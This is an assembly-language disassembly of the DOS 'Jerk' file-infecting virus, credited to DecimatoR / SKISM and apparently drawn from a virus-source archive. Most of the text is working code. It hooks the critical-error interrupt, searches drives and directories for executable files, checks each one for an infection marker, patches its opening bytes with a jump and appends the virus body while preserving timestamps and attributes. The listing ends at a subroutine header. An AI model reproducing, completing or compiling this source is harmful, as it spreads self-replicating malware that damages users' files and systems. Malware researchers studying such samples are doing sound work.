home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ JERK VIRUS ██
- ;██ ██
- ;██ Disassembly by ██
- ;██ ██
- ;██ DecimatoR / SKISM ██
- ;██ NOTE: Although this code compiles with TASM 2.0, it may not function ██
- ;██ in the same manner as the original virus. Test it further. ██
- ;██████████████████████████████████████████████████████████████████████████
-
- data_1e equ 446h ; (009D:0446=10h)
- data_2e equ 2Ch ; (8344:002C=0)
- data_3e equ 80h ; (8344:0080=0)
- data_22e equ 55Ch ; (8344:055C=0)
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- super proc far
-
- start:
- call sub_1 ; (010A)
- dec bp
- ;* jnz loc_3 ;*Jump if not zero
- db 75h, 72h
- jo loc_2 ; Jump if overflow=1
- jns $-6Eh ; Jump if not sign
-
- super endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_1 proc near
- jmp short loc_1 ; (0115)
- db 0CDh, 20h
- data_7 dw 9090h, 9090h, 9090h
- db 90h
- loc_1:
- cld ; Clear direction
- pushf ; Push flags
- call sub_2 ; (0132)
- call sub_6 ; (01B1)
- call sub_4 ; (0188)
- call sub_28 ; (0491)
- call sub_27 ; (041B)
- call sub_5 ; (01A0)
- popf ; Pop flags
- pop bp
- mov bp,100h
- push bp
- xor bp,bp ; Zero register
- retn
- sub_1 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_2 proc near
- call sub_3 ; (017E)
- mov ax,3524h
- int 21h ; DOS Services ah=function 35h
- ; get intrpt vector al in es:bx
- mov di,offset ds:[4F4h] ; (8344:04F4=79h)
- mov [bp+di],bx
- mov [bp+di],es
- push cs
- pop es
- mov ax,2524h
- mov dx,offset int_24h_entry
- add dx,bp
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- mov ax,3301h
- xor dl,dl ; Zero register
- int 21h ; DOS Services ah=function 33h
- ; ctrl-break flag al=off/on
- mov si,offset ds:[10Bh] ; (8344:010B=9)
- add si,bp
- mov cx,9
- mov di,offset ds:[100h] ; (8344:0100=0E8h)
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov ah,1Ah
- mov dx,offset data_21 ; (8344:053E=0)
- add dx,bp
- mov [bp+294h],dx
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA to ds:dx
- mov ah,19h
- loc_2:
- int 21h ; DOS Services ah=function 19h
- ; get default drive al (0=a:)
- mov [bp+4F8h],al
- mov bx,0FFFFh
- mov [bp+53Ch],bx
- retn
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_3:
- pop bp
- push bp
- sub bp,134h
- sub_2 endp
-
-
- ;██████████████████████████████████████████████████████████████████████████
- ;
- ; External Entry Point
- ;
- ;██████████████████████████████████████████████████████████████████████████
-
- int_24h_entry proc far
- retn
- int_24h_entry endp
-
- db 32h,0C0h,0CFh
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_4 proc near
- mov ah,1Ah
- mov dx,data_3e ; (8344:0080=0)
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA to ds:dx
- call sub_7 ; (01DF)
- mov ax,2524h
- mov si,offset ds:[4F4h] ; (8344:04F4=79h)
- lds dx,dword ptr [bp+si] ; Load 32 bit ptr
- int 21h ; DOS Services ah=function 25h
- ; set intrpt vector al to ds:dx
- call sub_5 ; (01A0)
- retn
- sub_4 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_5 proc near
- push cs
- pop ds
- push cs
- pop es
- xor ax,ax ; Zero register
- xor bx,bx ; Zero register
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- xor si,si ; Zero register
- xor di,di ; Zero register
- retn
- sub_5 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_6 proc near
- call sub_7 ; (01DF)
- xor ah,ah ; Zero register
- mov cx,ax
- mov dh,al
-
- locloop_4:
- or dl,dl ; Zero ?
- jnz loc_5 ; Jump if not zero
- mov dl,dh
- loc_5:
- call sub_8 ; (01E8)
- dec dl
- jnc loc_6 ; Jump if carry=0
- loop locloop_4 ; Loop if cx > 0
-
- jmp short loc_ret_8 ; (01DE)
- loc_6:
- dec cx
- jz loc_7 ; Jump if zero
- call sub_9 ; (021F)
- jnc loc_ret_8 ; Jump if carry=0
- call sub_7 ; (01DF)
- call sub_8 ; (01E8)
- jc loc_ret_8 ; Jump if carry Set
- loc_7:
- call sub_9 ; (021F)
-
- loc_ret_8:
- retn
- sub_6 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_7 proc near
- mov ah,0Eh
- mov dl,[bp+4F8h]
- int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- retn
- sub_7 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_8 proc near
- push cx
- push dx
- mov ah,36h ; '6'
- int 21h ; DOS Services ah=function 36h
- ; get free space, drive dl,1=a:
- cmp ax,0FFFFh
- je loc_10 ; Jump if equal
- mul cx ; dx:ax = reg * ax
- mul bx ; dx:ax = reg * ax
- cmp ax,800h
- jae loc_9 ; Jump if above or =
- or dx,dx ; Zero ?
- jz loc_10 ; Jump if zero
- loc_9:
- pop dx
- push dx
- dec dl
- mov ah,0Eh
- int 21h ; DOS Services ah=function 0Eh
- ; set default drive dl (0=a:)
- mov ah,5Bh ; '['
- xor cx,cx ; Zero register
- mov dx,offset data_15+3 ; (8344:04FF=0)
- add dx,bp
- int 21h ; DOS Services ah=function 5Bh
- ; create new file, name @ ds:dx
- jc loc_11 ; Jump if carry Set
- mov ah,41h ; 'A'
- int 21h ; DOS Services ah=function 41h
- ; delete file, name @ ds:dx
- jmp short loc_11 ; (021C)
- loc_10:
- stc ; Set carry flag
- loc_11:
- pop dx
- pop cx
- retn
- sub_8 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_9 proc near
- call sub_13 ; (0297)
- mov ah,3Bh ; ';'
- mov dx,offset ds:[4F9h] ; (8344:04F9=2)
- add dx,bp
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- call sub_10 ; (0232)
- call sub_14 ; (02AB)
- retn
- sub_9 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_10 proc near
- call sub_11 ; (025E)
- jc loc_ret_14 ; Jump if carry Set
- call sub_13 ; (0297)
- call sub_18 ; (02EE)
- jnc loc_13 ; Jump if carry=0
- call sub_15 ; (02B8)
- jc loc_13 ; Jump if carry Set
- loc_12:
- mov ah,3Bh ; ';'
- mov dx,data_22e ; (8344:055C=0)
- add dx,bp
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- call sub_10 ; (0232)
- jnc loc_13 ; Jump if carry=0
- call sub_14 ; (02AB)
- call sub_16 ; (02D7)
- jnc loc_12 ; Jump if carry=0
- loc_13:
- call sub_12 ; (027C)
-
- loc_ret_14:
- retn
- sub_10 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_11 proc near
- mov di,[bp+294h]
- cmp di,0FA00h
- cmc ; Complement carry
- jc loc_ret_15 ; Jump if carry Set
- add di,offset ds:[100h] ; (8344:0100=0E8h)
- mov [bp+294h],di
- mov si,offset data_21 ; (8344:053E=0)
- add si,bp
- mov cx,80h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
-
- loc_ret_15:
- retn
- sub_11 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_12 proc near
- pushf ; Push flags
- mov si,[bp+294h]
- sub si,100h
- xchg si,[bp+294h]
- mov di,offset data_21 ; (8344:053E=0)
- add di,bp
- mov cx,80h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- popf ; Pop flags
- retn
- sub_12 endp
-
- db 0F1h, 69h
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_13 proc near
- mov di,[bp+294h]
- add di,data_3e ; (8344:0080=0)
- mov al,5Ch ; '\'
- stosb ; Store al to es:[di]
- mov ah,47h ; 'G'
- mov si,di
- xor dl,dl ; Zero register
- int 21h ; DOS Services ah=function 47h
- ; get present dir,drive dl,1=a:
- retn
- sub_13 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_14 proc near
- mov ah,3Bh ; ';'
- mov dx,[bp+294h]
- add dx,data_3e ; (8344:0080=0)
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- retn
- sub_14 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_15 proc near
- mov cx,12h
- mov dx,offset ds:[4FBh] ; (8344:04FB=0)
- call sub_20 ; (0343)
- jc loc_ret_18 ; Jump if carry Set
- call sub_17 ; (02E0)
- loc_16:
- jc loc_ret_18 ; Jump if carry Set
- mov al,2Eh ; '.'
- cmp al,[bp+55Ch]
- jne loc_17 ; Jump if not equal
- call sub_16 ; (02D7)
- jmp short loc_16 ; (02C6)
- loc_17:
- clc ; Clear carry flag
-
- loc_ret_18:
- retn
- sub_15 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_16 proc near
- call sub_21 ; (034A)
- jc loc_ret_19 ; Jump if carry Set
- call sub_17 ; (02E0)
-
- loc_ret_19:
- retn
- sub_16 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_17 proc near
- mov cl,10h
- loc_20:
- test cl,[bp+553h]
- jnz loc_ret_21 ; Jump if not zero
- call sub_21 ; (034A)
- jnc loc_20 ; Jump if carry=0
-
- loc_ret_21:
- retn
- sub_17 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_18 proc near
- push word ptr [bp+4EAh]
- mov dx,offset data_15+0Dh ; (8344:0509=0)
- xor al,al ; Zero register
- call sub_19 ; (0313)
- jnc loc_22 ; Jump if carry=0
- mov dx,offset data_15+19h ; (8344:0515=0)
- xor al,al ; Zero register
- call sub_19 ; (0313)
- jnc loc_22 ; Jump if carry=0
- mov dx,offset data_15+1Fh ; (8344:051B=0)
- mov al,0FFh
- call sub_19 ; (0313)
- loc_22:
- pop word ptr [bp+4EAh]
- retn
- sub_18 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_19 proc near
- mov [bp+4EAh],al
- mov cx,23h
- call sub_20 ; (0343)
- jc loc_ret_27 ; Jump if carry Set
- mov cx,3
- loc_23:
- loop locloop_24 ; Loop if cx > 0
-
- stc ; Set carry flag
- retn
-
- locloop_24:
- call sub_22 ; (034F)
- jc loc_25 ; Jump if carry Set
- call sub_25 ; (03A9)
- jc loc_25 ; Jump if carry Set
- call sub_26 ; (03DF)
- jmp short loc_26 ; (033E)
- loc_25:
- call sub_23 ; (0371)
- call sub_21 ; (034A)
- jnc loc_23 ; Jump if carry=0
- retn
- loc_26:
- call sub_23 ; (0371)
- clc ; Clear carry flag
-
- loc_ret_27:
- retn
- sub_19 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_20 proc near
- mov ah,4Eh ; 'N'
- add dx,bp
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- retn
- sub_20 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_21 proc near
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- retn
- sub_21 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_22 proc near
- push cx
- xor ax,ax ; Zero register
- cmp ax,[bp+55Ah]
- jb loc_28 ; Jump if below
- mov ax,0F000h
- cmp ax,[bp+558h]
- jb loc_28 ; Jump if below
- mov ax,9
- cmp [bp+558h],ax
- jb loc_28 ; Jump if below
- mov cl,0
- call sub_24 ; (039C)
- loc_28:
- pop cx
- retn
- sub_22 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_23 proc near
- push cx
- mov bx,[bp+53Ch]
- cmp bx,0FFFFh
- je loc_29 ; Jump if equal
- mov ax,5701h
- mov cx,[bp+554h]
- mov dx,[bp+556h]
- int 21h ; DOS Services ah=function 57h
- ; get/set file date & time
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- mov bx,0FFFFh
- mov [bp+53Ch],bx
- loc_29:
- mov cl,[bp+553h]
- call sub_24 ; (039C)
- pop cx
- retn
- sub_23 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_24 proc near
- mov ax,4301h
- xor ch,ch ; Zero register
- mov dx,data_22e ; (8344:055C=0)
- add dx,bp
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- retn
- sub_24 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_25 proc near
- push cx
- mov dx,data_22e ; (8344:055C=0)
- add dx,bp
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- jc loc_30 ; Jump if carry Set
- mov [bp+53Ch],ax
- mov dx,offset ds:[10Bh] ; (8344:010B=9)
- add dx,bp
- mov cx,9
- mov bx,ax
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, cx=bytes, to ds:dx
- mov cx,6
- mov si,offset ds:[4EEh] ; (8344:04EE=0)
- add si,bp
- mov di,offset data_7 ; (8344:010E=90h)
- add di,bp
- repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
- jnz loc_31 ; Jump if not zero
- stc ; Set carry flag
- loc_30:
- pop cx
- retn
- loc_31:
- clc ; Clear carry flag
- pop cx
- retn
- sub_25 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_26 proc near
- mov di,offset ds:[4ECh] ; (8344:04EC=0E8h)
- add di,bp
- mov ax,[bp+558h]
- sub ax,3
- stosw ; Store ax to es:[di]
- mov ax,4200h
- mov bx,[bp+53Ch]
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- mov ah,40h ; '@'
- mov cx,9
- mov dx,offset data_9 ; (8344:04EB=0)
- add dx,bp
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- mov ax,4202h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, cx,dx=offset
- mov ah,40h ; '@'
- mov cx,435h
- mov dx,offset ds:[109h] ; (8344:0109=90h)
- add dx,bp
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- retn
- sub_26 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
